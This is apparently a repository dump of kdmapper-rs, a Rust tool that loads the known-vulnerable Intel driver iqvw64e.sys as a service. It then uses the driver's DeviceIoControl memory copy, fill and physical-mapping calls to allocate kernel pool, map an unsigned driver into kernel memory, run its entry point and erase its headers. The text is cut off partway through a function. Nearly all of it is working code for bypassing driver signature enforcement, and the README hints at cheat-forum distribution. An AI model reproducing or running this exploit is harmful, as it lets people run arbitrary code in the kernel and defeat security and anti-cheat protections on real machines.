├── .gitignore ├── .vs ├── ProjectSettings.json ├── VSWorkspaceState.json ├── kdmapper-rs │ └── v16 │ │ └── .suo └── slnx.sqlite ├── Cargo.lock ├── Cargo.toml ├── README.md ├── img └── fn.png └── src ├── main.rs ├── mapper └── mod.rs ├── nt └── mod.rs ├── pe └── mod.rs ├── service └── mod.rs └── util └── mod.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /src/mapper/driver.sys -------------------------------------------------------------------------------- /.vs/ProjectSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "CurrentProjectSetting": null 3 | } -------------------------------------------------------------------------------- /.vs/VSWorkspaceState.json: -------------------------------------------------------------------------------- 1 | { 2 | "ExpandedNodes": [ 3 | "" 4 | ], 5 | "PreviewInSolutionExplorer": false 6 | } -------------------------------------------------------------------------------- /.vs/kdmapper-rs/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zorftw/kdmapper-rs/393103acab6b259fe549d644960c503ecbba0e8b/.vs/kdmapper-rs/v16/.suo -------------------------------------------------------------------------------- /.vs/slnx.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zorftw/kdmapper-rs/393103acab6b259fe549d644960c503ecbba0e8b/.vs/slnx.sqlite -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "kdmapper-rs" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "winapi", 10 | ] 11 | 12 | [[package]] 13 | name = "winapi" 14 | version = "0.3.9" 15 | source = "registry+https://github.com/rust-lang/crates.io-index" 16 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 17 | dependencies = [ 18 | "winapi-i686-pc-windows-gnu", 19 | "winapi-x86_64-pc-windows-gnu", 20 | ] 21 | 22 | [[package]] 23 | name = "winapi-i686-pc-windows-gnu" 24 | version = "0.4.0" 25 | source = "registry+https://github.com/rust-lang/crates.io-index" 26 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 27 | 28 | [[package]] 29 | name = "winapi-x86_64-pc-windows-gnu" 30 | version = "0.4.0" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 33 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "kdmapper-rs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [target.'cfg(windows)'.dependencies] 9 | winapi = { version = "0.3", features = [ 10 | "memoryapi", 11 | "processthreadsapi", 12 | "tlhelp32", 13 | "handleapi", 14 | "sysinfoapi", 15 | "errhandlingapi", 16 | "winsvc", 17 | "libloaderapi", 18 | "ioapiset", 19 | "fileapi", 20 | "dbghelp", 21 | ] } 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # kdmapper-rs 2 | Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver 3 | 4 | # where is the driver? 5 | I am 100% you have the driver somewhere, considering the fact it is a binary, I couldn't release the source to UC or any other site 6 | if the repo contained binaries. So I removed it for that purpose. Note: It's location should be in `src/mapper/` with the name `driver.sys` 7 | 8 | # warning 9 | Currently still very much in development, it runs on Windows 20H2 succesfully 10 | 11 | ![Screenshot](img/fn.png) 12 | 13 | # how to compile 14 | ``` 15 | cargo build --release 16 | ``` 17 | 18 | # dependencies 19 | * win-api 20 | -------------------------------------------------------------------------------- /img/fn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zorftw/kdmapper-rs/393103acab6b259fe549d644960c503ecbba0e8b/img/fn.png -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use winapi::{um::{errhandlingapi::GetLastError, handleapi::INVALID_HANDLE_VALUE}}; 2 | 3 | #[cfg(not(windows))] 4 | compile_error!("Can't compile, this is exclusive to Windows."); 5 | 6 | pub mod mapper; 7 | pub mod nt; 8 | pub mod pe; 9 | pub mod service; 10 | pub mod util; 11 | 12 | fn main() { 13 | let service = mapper::load_service("iqvw64e.sys"); 14 | 15 | if service.is_null() || service == INVALID_HANDLE_VALUE { 16 | unsafe { 17 | println!( 18 | "Failed to create a handle to the service! Last error code: {}", 19 | GetLastError() 20 | ); 21 | } 22 | panic!("See logs for panic!") 23 | } 24 | 25 | if mapper::load_image_into_kernel( 26 | service, 27 | "C:\\Users\\Zor\\source\\repos\\TestDriver\\x64\\Release\\TestDriver.sys".to_string(), 28 | ) == 0 29 | { 30 | unsafe { 31 | println!( 32 | "Failed to load image into kernel! Last error code: {}", 33 | GetLastError() 34 | ); 35 | } 36 | panic!("See logs for panic!") 37 | } 38 | 39 | println!("Loaded image into kernel!"); 40 | 41 | if !mapper::unload_service(service, "iqvw64e.sys\0") { 42 | unsafe { 43 | println!( 44 | "Failed to unload service! Last error code: {}", 45 | GetLastError() 46 | ); 47 | } 48 | panic!("See logs for panic!") 49 | } 50 | 51 | println!("Unloaded service!"); 52 | } 53 | -------------------------------------------------------------------------------- /src/mapper/mod.rs: -------------------------------------------------------------------------------- 1 | use core::panic; 2 | use std::{intrinsics::transmute}; 3 | 4 | use winapi::{ 5 | shared::{ 6 | ntdef::NTSTATUS, 7 | }, 8 | um::{ 9 | errhandlingapi::GetLastError, 10 | fileapi::{CreateFileA, OPEN_EXISTING}, 11 | handleapi::CloseHandle, 12 | memoryapi::{VirtualAlloc, VirtualFree}, 13 | winnt::{ 14 | FILE_ATTRIBUTE_NORMAL, GENERIC_READ, GENERIC_WRITE, HANDLE, IMAGE_NT_HEADERS, IMAGE_NT_OPTIONAL_HDR64_MAGIC, 15 | IMAGE_REL_BASED_DIR64, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PIMAGE_SECTION_HEADER, 16 | }, 17 | }, 18 | }; 19 | 20 | use crate::{pe, service, util}; 21 | 22 | pub fn load_service(name: &str) -> HANDLE { 23 | unsafe { 24 | let temp_path = util::get_temporary_folder_path(); 25 | 26 | let mut driver_path = temp_path.as_os_str().to_os_string(); 27 | driver_path.push(name); 28 | 29 | // export driver from buffer 30 | if !util::create_driver_file(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { 31 | println!( 32 | "Failed to create service file... return code: {}", 33 | GetLastError() 34 | ); 35 | panic!("See last output for more info."); 36 | } 37 | 38 | if !util::create_and_start_service(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { 39 | println!( 40 | "Failed to create or start service... return code: {}", 41 | GetLastError() 42 | ); 43 | panic!("See last output for more info."); 44 | } 45 | 46 | let res = CreateFileA( 47 | "\\\\.\\Nal\0".as_ptr() as _, 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, 50 | std::ptr::null_mut(), 51 | OPEN_EXISTING, 52 | FILE_ATTRIBUTE_NORMAL, 53 | std::ptr::null_mut(), 54 | ); 55 | 56 | res 57 | } 58 | } 59 | 60 | pub fn unload_service(service: HANDLE, name: &str) -> bool { 61 | unsafe { 62 | CloseHandle(service); 63 | util::delete_and_stop_service(name); 64 | 65 | let path_to_driver = util::get_path_to_driver(); 66 | 67 | match std::fs::remove_file(path_to_driver) { 68 | Ok(_) => (), 69 | Err(e) => println!("Failed to delete driver after unloading... {}", e), 70 | } 71 | 72 | true 73 | } 74 | } 75 | 76 | pub fn relocate_image_by_delta(relocations: Vec, delta: u64) { 77 | relocations.iter().for_each(|relocation| { 78 | for i in 0..relocation.count { 79 | let _type = unsafe { relocation.item.offset(i as isize).read() } >> 12; 80 | let offset = unsafe { relocation.item.offset(i as isize).read() } & 0xFFF; 81 | 82 | if _type == IMAGE_REL_BASED_DIR64 { 83 | unsafe { 84 | *((relocation.address + offset as u64) as *mut u64) += delta; 85 | }; 86 | } 87 | } 88 | }) 89 | } 90 | 91 | pub fn resolve_imports(service: HANDLE, mut imports: Vec) -> bool { 92 | unsafe { 93 | imports.iter_mut().for_each(|import_info| { 94 | let current_import_address = 95 | util::get_kernel_module_address(import_info.name.to_owned()); 96 | 97 | if current_import_address == 0 { 98 | println!( 99 | "Required module {} was not found! Last error code: {}", 100 | import_info.name, 101 | GetLastError() 102 | ); 103 | panic!("See last logs for panic!"); 104 | } 105 | 106 | // import_info.function_info.iter_mut().for_each(|function_info| { 107 | // let function_address = util::get_kernel_module_export(service, current_import_address as _, &function_info.name); 108 | 109 | // if function_address == 0 { 110 | // println!("Failed to resolve import {} from {}! Last error code: {}", function_info.name, import_info.name, GetLastError()); 111 | // panic!("See last logs for panic!"); 112 | // } 113 | 114 | // function_info.address = function_address as _; 115 | // }) 116 | // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ lol! 117 | 118 | for function_info in &mut import_info.function_info { 119 | let function_address = util::get_kernel_module_export( 120 | service, 121 | current_import_address as _, 122 | &function_info.name, 123 | ); 124 | 125 | if function_address == 0 { 126 | println!( 127 | "Failed to resolve import {} from {}! Last error code: {}", 128 | function_info.name, 129 | import_info.name, 130 | GetLastError() 131 | ); 132 | panic!("See last logs for panic!"); 133 | } 134 | 135 | function_info.get_address().write(function_address); 136 | } 137 | }); 138 | } 139 | true 140 | } 141 | 142 | pub fn image_first_section(header: *mut IMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER { 143 | unsafe { 144 | let field_offset = 145 | || (&(*header).OptionalHeader as *const _ as usize - header as usize) as usize; 146 | 147 | ((header as usize + field_offset()) + (*header).FileHeader.SizeOfOptionalHeader as usize) 148 | as PIMAGE_SECTION_HEADER 149 | } 150 | } 151 | 152 | pub fn load_image_into_kernel(service: HANDLE, file: String) -> u64 { 153 | unsafe { 154 | let mut buffer = Vec::new(); 155 | 156 | if !util::read_file_to_memory(&file, &mut buffer) { 157 | println!( 158 | "Failed to read file to memory! Last error code: {}", 159 | GetLastError() 160 | ); 161 | panic!("See last logs for panic!"); 162 | } 163 | 164 | let image_headers = pe::get_nt_headers(buffer.as_mut_ptr()); 165 | 166 | if image_headers.is_null() { 167 | println!("Invalid image headers! Last error code: {}", GetLastError()); 168 | panic!("See last logs for panic!"); 169 | } 170 | 171 | if (*image_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { 172 | println!("Driver is not 64-bit! Last error code: {}", GetLastError()); 173 | panic!("See last logs for panic!") 174 | } 175 | 176 | let image_size = (*image_headers).OptionalHeader.SizeOfImage; 177 | 178 | if image_size == 0 { 179 | println!( 180 | "Invalid driver image size! Last error code: {}", 181 | GetLastError() 182 | ); 183 | panic!("See last logs for panic!") 184 | } 185 | 186 | let local_image_memory = VirtualAlloc( 187 | std::ptr::null_mut(), 188 | image_size as _, 189 | MEM_RESERVE | MEM_COMMIT, 190 | PAGE_READWRITE, 191 | ); 192 | 193 | if local_image_memory.is_null() { 194 | println!( 195 | "Failed to allocate local image memory! Last error code: {}", 196 | GetLastError() 197 | ); 198 | panic!("See last logs for panic!") 199 | } 200 | 201 | println!("Local driver memory allocated at: {:p}", local_image_memory); 202 | 203 | std::ptr::copy( 204 | buffer.as_ptr(), 205 | local_image_memory as _, 206 | (*image_headers).OptionalHeader.SizeOfHeaders as usize, 207 | ); 208 | println!("Copied driver headers into local image memory"); 209 | 210 | let current_image_section = image_first_section(image_headers); 211 | 212 | for i in 0..(*image_headers).FileHeader.NumberOfSections { 213 | let local_section = (local_image_memory as usize 214 | + (*current_image_section.offset(i as isize)).VirtualAddress as usize) 215 | as *mut i8; 216 | std::ptr::copy( 217 | (buffer.as_ptr() as usize 218 | + (*current_image_section.offset(i as isize)).PointerToRawData as usize) 219 | as *const i8, 220 | local_section, 221 | (*current_image_section.offset(i as isize)).SizeOfRawData as usize, 222 | ) 223 | } 224 | 225 | println!("Copied image sections into local image memory."); 226 | 227 | let kernel_image_memory = service::allocate_pool(service, 0, image_size as _); 228 | 229 | if kernel_image_memory == 0 { 230 | println!( 231 | "Failed to allocate kernel image memory! Last error code: {}", 232 | GetLastError() 233 | ); 234 | panic!("See last logs for panic!") 235 | } 236 | 237 | println!( 238 | "Kernel image memory allocated at {:p}", 239 | kernel_image_memory as *mut i8 240 | ); 241 | 242 | relocate_image_by_delta( 243 | pe::get_relocations(local_image_memory as _).expect("Couldn't get relocations"), 244 | kernel_image_memory - (*image_headers).OptionalHeader.ImageBase, 245 | ); 246 | 247 | let imports = pe::get_imports(local_image_memory as _).expect("Couldn't get imports!"); 248 | 249 | if !resolve_imports(service, imports) { 250 | println!( 251 | "Failed to _resolve_ imports! Last error code: {}", 252 | GetLastError() 253 | ); 254 | panic!("See last logs for panic!") 255 | } 256 | 257 | if !service::write_memory( 258 | service, 259 | kernel_image_memory, 260 | local_image_memory as _, 261 | image_size as _, 262 | ) { 263 | println!( 264 | "Failed to write local image to kernel image! Last error code: {}", 265 | GetLastError() 266 | ); 267 | panic!("See last logs for panic!"); 268 | } 269 | 270 | VirtualFree(local_image_memory, 0, MEM_RELEASE); 271 | 272 | let entry_point = 273 | kernel_image_memory + (*image_headers).OptionalHeader.AddressOfEntryPoint as u64; 274 | println!( 275 | "Calling image entry point at {:p}", 276 | entry_point as *const i8 277 | ); 278 | 279 | let mut status: NTSTATUS = 0; 280 | 281 | if !util::call_kernel_fn( 282 | service, 283 | &mut |entry_point_address| { 284 | status = transmute::<*mut usize, unsafe extern "system" fn() -> NTSTATUS>( 285 | entry_point_address, 286 | )(); 287 | true 288 | }, 289 | entry_point, 290 | ) { 291 | println!( 292 | "Failed to call image entry point! Last error code: {}", 293 | GetLastError() 294 | ); 295 | } 296 | 297 | service::set_memory( 298 | service, 299 | kernel_image_memory, 300 | 0, 301 | (*image_headers).OptionalHeader.SizeOfHeaders as _, 302 | ); 303 | return kernel_image_memory; 304 | } 305 | } 306 | -------------------------------------------------------------------------------- /src/nt/mod.rs: -------------------------------------------------------------------------------- 1 | use std::intrinsics::transmute; 2 | 3 | use winapi::{ 4 | ctypes::c_void, 5 | shared::{ 6 | minwindef::{DWORD, FARPROC, ULONG}, 7 | ntdef::{HANDLE, NTSTATUS, PULONG, PVOID, UCHAR, USHORT}, 8 | }, 9 | um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, 10 | }; 11 | 12 | #[repr(C)] 13 | pub struct RtlProcessModuleInformation { 14 | pub section: HANDLE, 15 | pub mapped_base: PVOID, 16 | pub image_base: PVOID, 17 | pub image_size: ULONG, 18 | pub flags: ULONG, 19 | pub load_order_index: USHORT, 20 | pub init_order_index: USHORT, 21 | pub load_count: USHORT, 22 | pub offset_to_file_name: USHORT, 23 | pub full_path_name: [UCHAR; 256], 24 | } 25 | 26 | #[repr(C)] 27 | pub struct RtlProcessModules { 28 | pub number_of_modules: ULONG, 29 | pub modules: [RtlProcessModuleInformation; 1], 30 | } 31 | 32 | pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004; 33 | 34 | pub struct QuerySystemInformationReturnValue { 35 | pub buffer: *mut c_void, 36 | pub buffer_size: DWORD, 37 | pub result: NTSTATUS, 38 | } 39 | 40 | pub fn query_system_information( 41 | buffer: *mut c_void, 42 | out_buffer_size: &mut DWORD, 43 | ) -> QuerySystemInformationReturnValue { 44 | let mut nt = unsafe { GetModuleHandleA("ntdll.dll\0".as_ptr() as _) }; 45 | 46 | if nt.is_null() { 47 | nt = unsafe { LoadLibraryA("ntdll.dll\0".as_ptr() as _) }; 48 | 49 | if nt.is_null() { 50 | panic!("Couldn't get handle to NTDLL.dll"); 51 | } 52 | } 53 | 54 | let query_system_info_address = 55 | unsafe { GetProcAddress(nt, "NtQuerySystemInformation\0".as_ptr() as *const i8) }; 56 | 57 | if query_system_info_address.is_null() { 58 | panic!("Couldn't find NtQuerySystemInformation"); 59 | } 60 | 61 | let query_system_info = unsafe { 62 | transmute:: NTSTATUS>( 63 | query_system_info_address, 64 | ) 65 | }; 66 | 67 | let mut buffer_size: DWORD = *out_buffer_size; 68 | 69 | let result = unsafe { query_system_info(11, buffer, buffer_size, &mut buffer_size as *mut _) }; 70 | *out_buffer_size = buffer_size; 71 | 72 | QuerySystemInformationReturnValue { 73 | buffer, 74 | buffer_size, 75 | result, 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/pe/mod.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::CStr, intrinsics::transmute}; 2 | 3 | use winapi::um::winnt::{ 4 | IMAGE_BASE_RELOCATION, IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY_IMPORT, 5 | IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE, PIMAGE_BASE_RELOCATION, PIMAGE_DOS_HEADER, 6 | PIMAGE_IMPORT_BY_NAME, PIMAGE_IMPORT_DESCRIPTOR, PIMAGE_NT_HEADERS64, PIMAGE_THUNK_DATA64, 7 | }; 8 | 9 | #[derive(Default)] 10 | pub struct FunctionImportInfo { 11 | pub name: String, 12 | pub address: usize, // NOTE: apparently a pointer to an adress (so void*) 13 | } 14 | 15 | impl FunctionImportInfo { 16 | pub fn get_address(&self) -> *mut u64 { 17 | self.address as _ 18 | } 19 | } 20 | 21 | pub struct RelocationInfo { 22 | pub address: u64, 23 | pub item: *const u16, 24 | pub count: i32, 25 | } 26 | 27 | #[derive(Default)] 28 | pub struct ImportInfo { 29 | pub name: String, 30 | pub function_info: Vec, 31 | } 32 | 33 | pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 { 34 | unsafe { 35 | let dos_header = transmute::<*mut u8, PIMAGE_DOS_HEADER>(base); 36 | 37 | if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { 38 | return std::ptr::null_mut(); 39 | } 40 | 41 | let nt_headers = transmute::( 42 | base as usize + (*dos_header).e_lfanew as usize, 43 | ); 44 | 45 | if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { 46 | return std::ptr::null_mut(); 47 | } 48 | 49 | nt_headers 50 | } 51 | } 52 | 53 | pub fn get_relocations(base: *mut u8) -> Option> { 54 | let nt_headers = get_nt_headers(base); 55 | 56 | if nt_headers.is_null() { 57 | return None; 58 | } 59 | 60 | let mut current_base_relocation = unsafe { 61 | transmute::( 62 | base as usize 63 | + (*nt_headers).OptionalHeader.DataDirectory 64 | [IMAGE_DIRECTORY_ENTRY_BASERELOC as usize] 65 | .VirtualAddress as usize, 66 | ) 67 | }; 68 | 69 | let relocation_end = unsafe { 70 | current_base_relocation as usize 71 | + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize] 72 | .Size as usize 73 | }; 74 | 75 | let mut result = vec![]; 76 | 77 | while unsafe { 78 | (*current_base_relocation).VirtualAddress != 0u32 79 | && (*current_base_relocation).VirtualAddress as usize <= relocation_end 80 | && (*current_base_relocation).SizeOfBlock != 0u32 81 | } { 82 | let mut info = unsafe { 83 | RelocationInfo { 84 | ..core::mem::zeroed() 85 | } 86 | }; 87 | 88 | info.address = 89 | unsafe { base as usize + (*current_base_relocation).VirtualAddress as usize } as _; 90 | info.item = unsafe { 91 | transmute::( 92 | current_base_relocation as usize + std::mem::size_of::(), 93 | ) 94 | }; 95 | info.count = unsafe { 96 | ((*current_base_relocation).SizeOfBlock as usize 97 | - std::mem::size_of::()) 98 | / std::mem::size_of::() 99 | } as _; 100 | 101 | result.push(info); 102 | 103 | current_base_relocation = unsafe { 104 | transmute::( 105 | current_base_relocation as usize + (*current_base_relocation).SizeOfBlock as usize, 106 | ) 107 | }; 108 | } 109 | 110 | Some(result) 111 | } 112 | 113 | pub fn get_imports(base: *mut u8) -> Option> { 114 | let nt_headers = get_nt_headers(base); 115 | 116 | if nt_headers.is_null() { 117 | return None; 118 | } 119 | 120 | unsafe { 121 | let import_va = (*nt_headers).OptionalHeader.DataDirectory 122 | [IMAGE_DIRECTORY_ENTRY_IMPORT as usize] 123 | .VirtualAddress; 124 | 125 | if import_va == 0 { 126 | return None; 127 | } 128 | 129 | let mut vec_imports = Vec::new(); 130 | 131 | let mut current_import_descriptor = 132 | (base as usize + import_va as usize) as PIMAGE_IMPORT_DESCRIPTOR; 133 | 134 | while (*current_import_descriptor).FirstThunk != 0 { 135 | let mut import_info = ImportInfo::default(); 136 | 137 | import_info.name = CStr::from_ptr( 138 | (base as usize + (*current_import_descriptor).Name as usize) as *const i8, 139 | ) 140 | .to_str() 141 | .expect("Couldn't convert to str") 142 | .to_string(); 143 | 144 | let mut current_first_thunk = (base as usize 145 | + (*current_import_descriptor).FirstThunk as usize) 146 | as PIMAGE_THUNK_DATA64; 147 | let mut current_original_first_thunk = (base as usize 148 | + *(*current_import_descriptor).u.OriginalFirstThunk() as usize) 149 | as PIMAGE_THUNK_DATA64; 150 | 151 | while (*(*current_original_first_thunk).u1.Function()) != 0 { 152 | let mut import_function_data = FunctionImportInfo::default(); 153 | 154 | let thunk_data = (base as usize 155 | + *(*current_original_first_thunk).u1.AddressOfData() as usize) 156 | as PIMAGE_IMPORT_BY_NAME; 157 | 158 | import_function_data.name = CStr::from_ptr((*thunk_data).Name.as_ptr()) 159 | .to_str() 160 | .expect("couldn't convert to str") 161 | .to_string(); 162 | import_function_data.address = 163 | (*current_first_thunk).u1.Function_mut() as *mut u64 as usize; 164 | 165 | import_info.function_info.push(import_function_data); 166 | 167 | current_original_first_thunk = (current_original_first_thunk as usize 168 | + std::mem::size_of::()) 169 | as PIMAGE_THUNK_DATA64; 170 | current_first_thunk = (current_first_thunk as usize 171 | + std::mem::size_of::()) 172 | as PIMAGE_THUNK_DATA64; 173 | } 174 | 175 | vec_imports.push(import_info); 176 | current_import_descriptor = (current_import_descriptor as usize 177 | + std::mem::size_of::()) 178 | as PIMAGE_IMPORT_DESCRIPTOR; 179 | } 180 | 181 | Some(vec_imports) 182 | } 183 | } 184 | -------------------------------------------------------------------------------- /src/service/mod.rs: -------------------------------------------------------------------------------- 1 | use core::panic; 2 | use std::intrinsics::transmute; 3 | 4 | use winapi::{ 5 | ctypes::c_void, 6 | shared::{basetsd::SIZE_T, minwindef::DWORD}, 7 | um::{ioapiset::DeviceIoControl, winnt::HANDLE}, 8 | }; 9 | 10 | use crate::util::{call_kernel_fn, get_kernel_module_address, get_kernel_module_export}; 11 | 12 | const IO_MAGIC: u32 = 0x80862007; 13 | 14 | #[repr(C)] 15 | #[derive(Default)] 16 | struct CopyMemoryBufferInfo { 17 | case_number: u64, 18 | reserved: u64, 19 | source: u64, 20 | destination: u64, 21 | length: u64, 22 | } 23 | 24 | #[repr(C)] 25 | #[derive(Default)] 26 | struct FillMemoryBufferInfo { 27 | case_number: u64, 28 | reserved: u64, 29 | value: u32, 30 | reserved2: u32, 31 | destination: u64, 32 | length: u64, 33 | } 34 | 35 | #[repr(C)] 36 | #[derive(Default)] 37 | struct GetPhysicalAddressBufferInfo { 38 | case_number: u64, 39 | reserved: u64, 40 | return_physical_address: u64, 41 | address_to_translate: u64, 42 | } 43 | 44 | #[repr(C)] 45 | #[derive(Default)] 46 | struct MapIOSpaceBufferInfo { 47 | case_number: u64, 48 | reserved: u64, 49 | return_value: u64, 50 | return_virtual_address: u64, 51 | physical_address_to_map: u64, 52 | size: u32, 53 | } 54 | 55 | #[repr(C)] 56 | #[derive(Default)] 57 | struct UnmapIOSpaceBufferInfo { 58 | case_number: u64, 59 | reserved: u64, 60 | reserved2: u64, 61 | virtual_address: u64, 62 | reserved3: u64, 63 | number_of_bytes: u32, 64 | } 65 | 66 | pub fn copy_memory(service: HANDLE, destination: u64, source: u64, size: u64) -> bool { 67 | if destination == 0 || source == 0 || size == 0 { 68 | return false; 69 | } 70 | 71 | let mut buffer: CopyMemoryBufferInfo = unsafe { core::mem::zeroed() }; 72 | buffer.case_number = 0x33; 73 | buffer.source = source; 74 | buffer.destination = destination; 75 | buffer.length = size; 76 | 77 | let mut bytes_returned: DWORD = 0; 78 | 79 | unsafe { 80 | DeviceIoControl( 81 | service, 82 | IO_MAGIC, 83 | &mut buffer as *mut CopyMemoryBufferInfo as *mut _, 84 | std::mem::size_of::() as _, 85 | std::ptr::null_mut(), 86 | 0, 87 | &mut bytes_returned, 88 | std::ptr::null_mut(), 89 | ) == 1 90 | } 91 | } 92 | 93 | pub fn set_memory(service: HANDLE, address: u64, value: u32, size: u64) -> bool { 94 | if address == 0 || size == 0 { 95 | return false; 96 | } 97 | 98 | let mut fill_memory_buffer = FillMemoryBufferInfo::default(); 99 | fill_memory_buffer.case_number = 0x30; 100 | fill_memory_buffer.destination = address; 101 | fill_memory_buffer.value = value; 102 | fill_memory_buffer.length = size; 103 | 104 | let mut bytes_returned: DWORD = 0; 105 | 106 | unsafe { 107 | DeviceIoControl( 108 | service, 109 | IO_MAGIC, 110 | &mut fill_memory_buffer as *mut FillMemoryBufferInfo as *mut _, 111 | std::mem::size_of::() as _, 112 | std::ptr::null_mut(), 113 | 0, 114 | &mut bytes_returned, 115 | std::ptr::null_mut(), 116 | ) == 1 117 | } 118 | } 119 | 120 | pub fn get_physical_address(service: HANDLE, address: u64, out_physical_address: &mut u64) -> bool { 121 | if address == 0 { 122 | return false; 123 | } 124 | 125 | let mut buffer = GetPhysicalAddressBufferInfo::default(); 126 | buffer.case_number = 0x25; 127 | buffer.address_to_translate = address; 128 | 129 | let mut bytes_returned: DWORD = 0; 130 | 131 | if unsafe { 132 | DeviceIoControl( 133 | service, 134 | IO_MAGIC, 135 | &mut buffer as *mut GetPhysicalAddressBufferInfo as *mut _, 136 | std::mem::size_of::() as _, 137 | std::ptr::null_mut(), 138 | 0, 139 | &mut bytes_returned, 140 | std::ptr::null_mut(), 141 | ) 142 | } == 0 143 | { 144 | return false; 145 | } 146 | 147 | *out_physical_address = buffer.return_physical_address; 148 | 149 | true 150 | } 151 | 152 | pub fn map_io_space(service: HANDLE, address: u64, size: u32) -> u64 { 153 | if address == 0 || size == 0 { 154 | return 0; 155 | } 156 | 157 | let mut buffer = MapIOSpaceBufferInfo::default(); 158 | buffer.case_number = 0x19; 159 | buffer.physical_address_to_map = address; 160 | buffer.size = size; 161 | 162 | let mut bytes_returned: DWORD = 0; 163 | 164 | if unsafe { 165 | DeviceIoControl( 166 | service, 167 | IO_MAGIC, 168 | &mut buffer as *mut MapIOSpaceBufferInfo as *mut _, 169 | std::mem::size_of::() as _, 170 | std::ptr::null_mut(), 171 | 0, 172 | &mut bytes_returned, 173 | std::ptr::null_mut(), 174 | ) 175 | } == 0 176 | { 177 | return 0; 178 | } 179 | 180 | buffer.return_virtual_address 181 | } 182 | 183 | pub fn unmap_io_space(service: HANDLE, address: u64, size: u32) -> bool { 184 | if address == 0 || size == 0 { 185 | return false; 186 | } 187 | 188 | let mut buffer = UnmapIOSpaceBufferInfo::default(); 189 | buffer.case_number = 0x1A; 190 | buffer.virtual_address = address; 191 | buffer.number_of_bytes = size; 192 | 193 | let mut bytes_returned: DWORD = 0; 194 | 195 | unsafe { 196 | DeviceIoControl( 197 | service, 198 | IO_MAGIC, 199 | &mut buffer as *mut UnmapIOSpaceBufferInfo as *mut _, 200 | std::mem::size_of::() as _, 201 | std::ptr::null_mut(), 202 | 0, 203 | &mut bytes_returned, 204 | std::ptr::null_mut(), 205 | ) == 1 206 | } 207 | } 208 | 209 | pub fn read_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool { 210 | copy_memory(service, buffer, address, size) 211 | } 212 | 213 | pub fn write_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool { 214 | copy_memory(service, address, buffer, size) 215 | } 216 | 217 | pub fn force_write_memory(service: HANDLE, address: u64, buffer: u64, size: u32) -> bool { 218 | if address == 0 || buffer == 0 || size == 0 { 219 | println!( 220 | "requirements not met! {:x} -> {:x} -> {:x}", 221 | address, buffer, size 222 | ); 223 | return false; 224 | } 225 | 226 | let mut physical_address: u64 = 0; 227 | 228 | if !get_physical_address(service, address, &mut physical_address) { 229 | panic!("Failed to translate virtual address!"); 230 | }; 231 | 232 | let mapped_physical_mem = map_io_space(service, physical_address, size); 233 | 234 | if mapped_physical_mem == 0 { 235 | panic!("Failed to map IO space"); 236 | } 237 | 238 | let result = write_memory(service, mapped_physical_mem, buffer, size as _); 239 | 240 | if !unmap_io_space(service, mapped_physical_mem, size) { 241 | panic!("Failed to unmap IO space of physical address"); 242 | } 243 | 244 | result 245 | } 246 | 247 | type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize; 248 | 249 | pub fn allocate_pool(service: HANDLE, pool_type: i32, size: SIZE_T) -> u64 { 250 | if size == 0 { 251 | return 0; 252 | } 253 | 254 | static mut KERNEL_EX_ALLOCATE_POOL: u64 = 0; 255 | 256 | unsafe { 257 | if KERNEL_EX_ALLOCATE_POOL == 0 { 258 | let base = get_kernel_module_address("ntoskrnl.exe".to_string()); 259 | 260 | KERNEL_EX_ALLOCATE_POOL = 261 | get_kernel_module_export(service, base as _, "ExAllocatePool"); 262 | } 263 | 264 | let mut allocated_pool: u64 = 0; 265 | 266 | if !call_kernel_fn( 267 | service, 268 | &mut |address| { 269 | allocated_pool = 270 | (transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _; 271 | true 272 | }, 273 | KERNEL_EX_ALLOCATE_POOL, 274 | ) { 275 | println!("call kernel fn failed!"); 276 | return 0; 277 | } 278 | 279 | println!("Allocated pool: {:x}", allocated_pool); 280 | allocated_pool 281 | } 282 | } 283 | 284 | type ExFreePoolFn = unsafe extern "system" fn(addy: *mut c_void); 285 | 286 | pub fn free_pool(service: 